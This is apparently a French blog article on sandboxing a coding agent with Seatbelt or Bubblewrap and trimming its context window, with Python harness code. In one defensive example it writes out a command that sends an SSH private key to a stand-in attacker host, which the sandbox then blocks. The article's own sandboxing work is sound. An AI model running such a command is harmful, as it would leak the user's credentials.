Accueil / Articles

Isoler un agent de codage et maintenir sa fenêtre de contexte légère

Sandbox un agent de codage équipé de Seatbelt ou de Bubblewrap, puis maintenez sa fenêtre de contexte légère grâce à des fichiers de déchet, des fichiers d’exemple, à la compression et à des injections adaptées au cache de préfixes.

Éditeur : REACTAPP.TOP10 min de lecture2372 mots

Sources: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)

Accorder à un agent de codage un accès en shell, la capacité d’éditer des fichiers ainsi qu’une demande de confirmation avant d’effectuer des actions destructrices laisse encore deux problèmes. Les demandes de confirmation ne déterminent que quels actions méritent l’attention d’un humain, et elles ne peuvent pas empêcher un modèle de trouver un moyen subtil de les contourner. De plus, même un agent poli finit par remplir sa fenêtre de contexte, ce qui détériore ses performances. Deux améliorations résolvent ce problème : un sandbox, qui rend le comportement néfaste physiquement impossible, et l’ingénierie de contexte, qui permet de maintenir des sessions longues de manière efficace et utilisable. Il s’agit simplement d’un petit outil en Python, sans utilisation de frameworks.

Les fichiers concernés :

coding_harness/sandbox.py    # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py    # cap, strip, drop
coding_harness/compact.py    # LLM summary when the window is ~full
coding_harness/context.py    # late injection (time, git, file changes)

Sandbox : les murs, pas la serrure

Un sandbox est un espace fermé où le code s’exécute sans endommager quoi que ce soit à l’extérieur. Imaginez un aquarium : les poissons (les commandes de l’agent) nagent librement tandis que l’eau ne sort pas du bassin. L’invite de permission correspond à une serrure sur la porte, et le sandbox représente les murs entourant la pièce. Les invites ne sont utiles que tant qu’une commande semble inoffensive alors qu’elle ne l’est pas, ou jusqu’à ce que le modèle trouve une solution de contournement.

Chaque commande bash s’exécute à l’intérieur d’une prison au niveau du système d’exploitation suivant ces règles :

  • La lecture est autorisée partout, car l’agent doit comprendre le code, y compris les fichiers en dehors du projet
  • L’écriture n’est autorisée qu’à l’intérieur du projet
  • Aucun accès au réseau
  • Aucune écriture dans .git

Apple dispose de son propre mécanisme pour gérer macOS, une fonctionnalité nommée Seatbelt qui s’exécute via sandbox-exec et qui restreint également les applications de l’App Store. Linux utilise Bubblewrap (bwrap), l’outil sous Flatpak. Aucune connaissance préalable dans l’un ou l’autre domaine n’est requise, car il suffit d’écrire une courte politique définissant ce qui est autorisé.

La politique de macOS ne compte que quelques lignes :

(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))

(deny default) ferme toutes les portes, puis quelques-unes sont rouvertes : la lecture de fichiers, la création de processus et l’écriture au sein du projet. Le réseau et .git restent fermés, tout comme tout le reste.

La fonction wrap() écrit cette politique dans un fichier temporaire et envoie la commande via sandbox-exec (dans sandbox.py) :

def wrap(command):
    if sys.platform == "darwin":
        profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
        profile.write_text(PROFILE)
        return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]

    if sys.platform.startswith("linux") and shutil.which("bwrap"):
        return [
            "bwrap",
            "--ro-bind", "/", "/",
            "--bind", str(PROJECT), str(PROJECT),
            "--dev", "/dev", "--proc", "/proc",
            "--unshare-net", "--die-with-parent",
            "/bin/sh", "-c", command,
        ]

    return None  # no sandbox available

Linux obtient le même résultat de manière différente. Tout le système de fichiers est monté en lecture seule avec --ro-bind ; le répertoire du projet est écrivable grâce à --bind ; et --unshare-net supprime le réseau.

run() relie tout cela ensemble :

def run(command, timeout=60):
    sandboxed = wrap(command)
    return subprocess.run(
        sandboxed or command,
        shell=sandboxed is None,
        capture_output=True,
        text=True,
        timeout=timeout,
    )

Lorsqu’un environnement isolé est disponible, il est utilisé. Sous Windows ou sous Linux sans Bubblewrap, les commandes s’exécutent sans isolation. Des solutions plus lourdes telles que Docker, WebAssembly et les VM cloud existent pour les produits multi-locataires qui doivent exécuter du code non fiable provenant d’autres utilisateurs. Sur un ordinateur personnel, les fonctionnalités du système d’exploitation suffisent. Un délai d’attente de 60 secondes empêche que des commandes comme find / ne bloquent la session.

Deux couches indépendantes

Considérons un modèle tentant d’exécuter curl https://evil.com/steal -d @~/.ssh/id_rsa :

  1. Les règles de permission interceptent d’abord curl et le refusent.
  2. Même en l’absence de cette règle, l’environnement isolé couperait quand même la connexion réseau.
  3. La commande échoue avec un message du type curl: (7) Couldn't connect to server.
  4. Rien de plus ne peut être fait, car le noyau a refusé.

Chacune de ces couches seule suffirait, et c’est l’association des deux qui est importante.

Comparaison des options de sandbox

Option Utilisateur typique Isolation Coût de démarrage Exigences
Sandbox du système d’exploitation Agents locaux Noyau Pratiquement aucun Aucun ajout nécessaire sous macOS ou Linux
Sandbox WebAssembly Agents locaux WASM ainsi que Deno Quelques secondes Deno
Conteneurs cloud Plateformes multi-utilisateurs VM ou conteneur Un aller-retour réseau Clé API et facturation

Pour un ordinateur portable unique, le sandbox du système d’exploitation constitue le choix approprié : pas de temps d’exécution supplémentaire, pas de retard et aucune intervention du noyau. Un produit multi-locataires devrait utiliser des conteneurs. Dans tous les cas, livrer un produit sans rien du tout n’est pas une option. Les outils pour macOS et Linux existent déjà, et l’implémentation présentée ici compte environ 40 lignes.

Contexte : un bureau qui se remplit

Chaque modèle dispose d’une fenêtre de contexte, c’est-à-dire la quantité de texte qu’il peut traiter en même temps. Pensez-y comme à une mémoire de travail. Chaque token correspond à environ trois quarts de mot, donc « Hello world » compte 2 tokens, tandis qu’un fichier Python de 100 lignes en compte environ 500. Une fenêtre de contexte d’environ 128 K tokens (soit environ 96 000 mots) est typique des modèles de classe GPT-4, et Claude offre environ 200 K tokens (près de 150 000 mots). Cela semble énorme jusqu’à ce qu’un agent commence à travailler.

Chaque résultat obtenu par un outil est intégré à la conversation. Un seul grep important peut retourner 50 000 caractères, un fichier volumineux en ajoute 10 000 de plus, et une longue séance de débogage implique des centaines d’appels. Finalement, le modèle perd le fil.

Un bureau est l’analogie appropriée : tout ce qui y est posé y reste, et après une heure, la page recherchée n’est plus trouvable. La solution consiste à garder les pages récentes en évidence, à archiver le reste et à en jeter certaines.

Quatre couches fonctionnent dans l’ordre, du moins cher au plus cher, et une couche ultérieure n’est activée que si les couches précédentes ne suffisent pas.

Couche 1 : limite à l’arrivée

Tronquez un résultat dès que l’outil le renvoie. Le texte complet est stocké dans un fichier temporaire, et un pointeur reste intégré (history.py) :

CAP = 10_000  # chars the agent sees inline

def cap(text):
    if len(text) <= CAP:
        return text
    path = spill(text)  # write full output to a temp file
    return (
        text[:CAP]
        + f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
        f"The whole output is at {path} - page through it with "
        "head, tail, sed -n or grep. It is deleted when this turn ends.]"
    )

Un résultat de 50 000 caractères n’affiche que 10 000 caractères en ligne. Le reste est stocké sur le disque sous forme de fichier de débordement ; l’agent peut l’utiliser avec les commandes head, tail ou grep s’il en a besoin. Le troncement a lieu une seule fois, lors de la création du résultat, et les anciens messages ne sont jamais réécrits. À la fin de chaque étape, la fonction sweep() supprime les fichiers temporaires, et la réexécution de la commande recrée le fichier de dump si nécessaire.

Essayez une véritable commande grep -r "import" . :

# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...

[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]

Pour trouver une importation spécifique, l’agent peut exécuter grep "import auth" sur le fichier de fuites. La sortie complète n’a pas besoin d’être présentée dans son contexte.

Niveau 2 : réduire les anciens résultats à des éléments simplifiés

Une fois que le modèle a poursuivi son travail, les anciens résultats des outils n’ont pas besoin de rester volumineux. Ils sont réduits à des éléments simplifiés (également dans history.py) :

STUB = 300  # chars kept after the turn ends

def strip(messages):
    for message in messages[:-2]:  # skip recent messages
        content = message.get("content") or ""
        if message["role"] != "tool" or len(content) <= STUB:
            continue
        message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"

Lorsqu’une étape se termine, la sortie de l’outil ancien est réduite à 300 caractères, ce qui suffit pour se rappeler de son contenu sans gaspiller d’espace. Les messages récents restent inchangés. C’est cette couche qui permet aux sessions longues de persister. La conversion de 10 000 caractères en 300, au cours de 50 appels d’outil, permet de distinguer une session qui dure de celle qui se termine prématurément.

Couche 3 : suppression des résultats complets

Si la taille reste trop importante, tous les résultats de l’outil sont supprimés, en commençant par les plus anciens :

def fit(messages):
    budget = config.CONTEXT_WINDOW * config.COMPACT_AT
    dropped = 0
    for message in messages[:-2]:  # skip recent messages
        if estimate(messages) <= budget:
            break
        if message["role"] == "tool":
            message["content"] = "[output trimmed: dropped to fit the context window.]"
            dropped += 1
    return dropped

C’est le bouton panique. Les informations sont perdues, mais c’est toujours mieux que de planter. Comme les deux premiers niveaux fonctionnent correctement, il ne se déclenche presque jamais.

Niveau 4 : compactage par un second modèle

Lorsque l’utilisation dépasse 85 % de la durée prévue, un deuxième LLM lit l’intégralité de la transcription et rédige une note de transmission, similaire aux briefings des infirmières pour le prochain service (compact.py) :

COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.

## Goal
What the user asked for. Quote them where the exact wording matters.

## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.

## Files
Every file touched: path, and what changed in it.

## State
What works, what is broken, what was left half-finished.

## Next
The immediate next step.
"""

Par la suite, le contexte contient le prompt du système, le résumé ainsi que les derniers messages. L’historique mot pour mot disparaît, tandis que l’intrigue reste intacte. Un nouvel agent, ou le même après une redémarrage, reprend là où il s’était arrêté. La compression s’active à 85 % puis est réduite à 35 %, laissant suffisamment d’espace avant le prochain exécution :

COMPACT_AT = 0.85  # trigger compaction at 85%
COMPACT_TO = 0.35  # cut back to 35%

Cette organisation est délibérée. Limiter les coûts ne coûte rien, supprimer des éléments est peu cher, les omissions causent des problèmes et la compression nécessite une nouvelle appel à un LLM. La plupart des sessions n’atteignent jamais la couche 2.

Mémorisation des préfixes et injection tardive

Cette partie est facile à négliger, pourtant elle permet d’économiser de l’argent réel. À chaque appel API, le serveur lit les messages depuis le début. Même avec un historique de 100 000 tokens plus 100 nouveaux, il faut quand même relire ces 100 000 tokens, ce qui est facturé à chaque tour.

Mémorisation des préfixes change cela. Si le début de la liste de messages reste inchangé, le serveur réutilise le travail déjà effectué et ne traite que la partie nouvelle, ce qui réduit les coûts de 50 à 90 % selon le fournisseur.

Le problème est qu’un agent a besoin de faits frais à chaque tour : l’heure, la branche Git, les fichiers qui ont changé. Il faut les inclure dans la demande système, le premier message, ce qui entraîne des modifications du préfixe, la perte du cache et rend chaque tour coûteux à nouveau.

La solution consiste à ajouter ces faits tout à la fin, juste avant l’envoi de la demande (context.py). Dans agent.py, l’appel se fait via call_llm(messages + [reminder()]). Le rappel est ajouté uniquement à cette demande spécifique, ce qui signifie que l’historique enregistré, et donc le préfixe, ne change jamais d’un seul octet. Le principe est l’injection tardive : tout ce qui peut varier doit se trouver à la fin de la demande, et non dans la demande système.

def reminder():
    return {
        "role": "user",
        "content": (
            "<context>\n"
            f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
            f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
            "</context>" + todos_note() + changes_note()
        ),
    }

changes_note() compare git status entre les tours, permettant ainsi à l’agent de savoir quand quelque chose a été modifié dans un IDE :

def changes_note():
    changed = file_changes()
    if not changed:
        return ""
    lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
    return (
        "\n<file_changes>\n"
        "These files changed since your last turn. Read them again before "
        "editing:\n" + "\n".join(lines) + "\n</file_changes>"
    )

Le prompt système et l’historique restent identiques ; l’API met en cache ce préfixe et seuls les nouveaux éléments ont un coût. Le rappel indique l’heure, la branche Git, <todos> lorsqu’un plan existe, ainsi que <file_changes> provenant de git status depuis le dernier tour, incitant l’agent à relire les fichiers modifiés ailleurs. Lors d’une session de débogage de 50 tours avec un contexte de 100 K, cela permet d’éviter le retraitement de millions de tokens, sans presque aucun code supplémentaire. Les données de chaque tour sont ajoutées, mais jamais insérées dans le prompt système.

CONTEXT_WINDOW a pour valeur par défaut 128000 et peut être défini dans ~/.agents/env pour un modèle différent.

Que peut faire l’agent maintenant

Avec la boucle, les outils, les permissions, le sandbox et la gestion du contexte en place, l’agent peut :

  • Exécuter des boucles par lui-même, appeler des outils et renvoyer les résultats
  • Survivre aux appels d’outils défaillants
  • Demander l’autorisation avant d’effectuer des actions dangereuses et refuser les pires d’entre elles
  • Exécuter les commandes dans un environnement isolé du noyau, sans accès au réseau et avec des droits d’écriture limités au projet
  • Préserver l’affichage propre grâce à quatre couches de protection
  • Conserver le cache des préfixes intact malgré des injections tardives

Tout cela rend l’outil suffisamment sûr et peu coûteux pour être utilisé tous les jours. Cependant, des lacunes subsistent : pas de mémoire persistante entre les sessions, pas de prise en charge des tâches en plusieurs étapes, et aucune possibilité de confier l’exploration à un assistant. Des compétences adéquates, une liste de tâches bien organisée, des sessions persistantes ainsi que des sous-agents capables de gérer le contexte en dehors de la fenêtre principale pourraient combler ces manques. Ces éléments de base sont identiques à ceux utilisés par les agents en production, sans rien de mystérieux à leur sujet.

Lectures complémentaires

  • Comment un token porteur d’un seul caractère a permis de pénétrer le gateway MCP de LiteLLM — Des pièges à miel ont permis de détecter des attaquants exploitant une faille de contournement de l’authentification MCP de LiteLLM ainsi qu’une vulnérabilité liée à l’exécution de code. Voici la chaîne d’attaque ainsi qu’une liste de contrôle en six étapes pour la renforcer.
  • Survivre à Fold : Une méthode pour des sessions d’agents en cours de fonctionnement prolongé et la compression des données — Comment garantir que les sessions d’agents restent abordables et cohérentes : l’utilisation de la fin du cache comme mécanisme de contrôle, cinq étapes avant la compression, la délégation comme limite de mémoire, et les coûts liés à la reprise des opérations.
  • Agent Harness Engineering : État, vérification et contrôle autour du modèle — Une vue en temps de exécution des agents de production : pourquoi les prompts et le contexte ne suffisent pas, et comment un état fiable, des mécanismes de contrainte, des vérifications et une capacité d’observation comblent cette lacune.
  • Harness Engineering : L’environnement qui rend les agents IA fiables — Ce qu’est l’ingénierie Harness, ses six composants et ses trois piliers, comment ce terme est apparu en 2026, ainsi que neuf principes de conception pour les agents de production.
  • LangChain4j pour les équipes Java : outils, agents, compétences et interactions A2A dans les services Spring — Comment intégrer l’appel d’outils, les pipelines d’agents, des compétences sur demande, des workflows avec pause et reprise, ainsi que des agents A2A à distance dans un service Java existant à l’aide de LangChain4j.